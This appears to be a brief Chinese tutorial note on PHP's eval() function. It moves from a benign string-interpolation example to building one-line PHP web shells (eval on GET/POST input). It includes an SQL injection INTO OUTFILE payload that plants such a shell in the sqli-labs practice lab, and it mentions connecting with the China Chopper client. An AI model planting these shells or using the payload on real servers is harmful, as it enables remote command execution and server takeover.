eval 函數

eval 函數的一般用法

<?php
$string=‘cup‘;
$name=‘coffee‘;
$str=‘This is a $string with my $name in it.‘;
echo $str."\n";
eval("\$str=\"$str
 
\";");
echo $str."\n";
?>

以上例程會輸出

eval() 函數的特殊用法

用於構造一句話木馬

eval($_GET["cmd"]);

兩種方式

通過數據庫寫馬

環境：sql_labs Less-7

寫入一句話木馬

union select 1,2,‘<?php eval($_POST["cmd"]);?>‘ into outfile ‘d:/wampserver/wamp64/www/sqli/sqli/Less-7/twx.txt‘%23 

使用中國菜刀進行連接

可以訪問並操作服務器文件

通過PHP 文件寫馬

<?php
eval($_GET["cmd"]);
?>

訪問PHP 文件，查看phpinfo()

PHP 一句話木馬